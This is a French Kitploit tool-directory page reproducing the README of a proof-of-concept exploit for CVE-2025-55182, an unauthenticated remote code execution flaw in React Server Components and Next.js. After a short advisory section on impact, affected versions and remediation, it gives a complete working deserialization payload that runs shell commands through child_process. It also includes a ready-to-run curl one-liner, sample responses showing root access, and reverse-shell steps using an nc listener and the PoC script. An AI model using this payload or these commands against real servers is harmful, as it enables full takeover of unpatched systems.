Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Exploit de preuve de concept pour CVE-2025-55182 : RCE non authentifié dans React Server Components via une désérialisation non sécurisée, permettant l'exécution de commandes arbitraires et des shells inversés sur les points de terminaison RSC/Next.js vulnérables. | Kitploit
Outils/GitHubGitHub/0xblackash/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182 : RCE non authentifié dans React Server Components via une désérialisation non sécurisée, permettant l'exécution de commandes arbitraires et des shells inversés sur les points de terminaison RSC/Next.js vulnérables.

Voir le dépôt
17il y a 13 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 CVE-2025-55182 — React2Shell

ChatGPT Image Oct 8, 2026, 11_08_00 PM

Severity CVSS Type Status

CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les React Server Components (RSC).


📌 Aperçu

Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code arbitraire sur les serveurs vulnérables.

Le problème provient d'une désérialisation non sécurisée dans les points de terminaison des Server Functions des React Server Components. Une validation inadéquate permet à des requêtes spécialement conçues d'exécuter des charges utiles malveillantes.


🧨 Impact

  • 🌍 Exploitable via le réseau
  • 🔓 Aucune authentification requise
  • ⚡ Faible complexité d'attaque
  • 💥 Compromission totale du serveur possible
  • 📈 Score CVSS : 10.0 (Sévérité maximale)

Les frameworks basés sur React étant largement déployés, la surface d'attaque est extrêmement vaste.


📦 Paquets affectés

Les versions vulnérables incluent :

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Les frameworks construits au-dessus de ces paquets (par exemple, les applications Next.js utilisant des versions vulnérables) peuvent également être affectés.


🔎 Cause racine technique

La faille est causée par :

  • Une gestion non sécurisée des entrées sérialisées
  • Une désérialisation côté serveur se produisant avant une validation stricte
  • L'absence de protection adéquate des points de terminaison

Cela permet aux attaquants de concevoir des charges utiles malveillantes qui s'exécutent sur le serveur.


🛠 Remédiation

✅ Actions immédiates

  • Mettre à niveau vers les versions corrigées de React (19.2.1 ou ultérieure)
  • Reconstruire et redéployer les applications
  • Auditer les points de terminaison RSC exposés
  • Surveiller les journaux pour détecter les requêtes POST suspectes

🧪 Conseils de détection

Recherchez :

  • Des requêtes POST inattendues vers les points de terminaison RSC
  • Des charges utiles sérialisées suspectes
  • Une exécution de commandes côté serveur inhabituelle

📚 Résumé

CatégorieValeur
VulnérabilitéExécution de code à distance
Authentification requise❌ Non
Vecteur d'attaque🌐 Réseau
Sévérité🔴 Critique
Exploitée dans la nature⚠️ Oui

Comment exploiter

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Retournera :

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4 react2shell react2shell 1

Utilisation

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • Sortie : ubuntu (ou similaire).
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

Pour un reverse shell :

  • Écoute : nc -lvnp 4444
  • Exécuter : sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • Il devrait se connecter en retour ; la réponse affichera 'shell_started' dans le digest.

Télécharger l’outil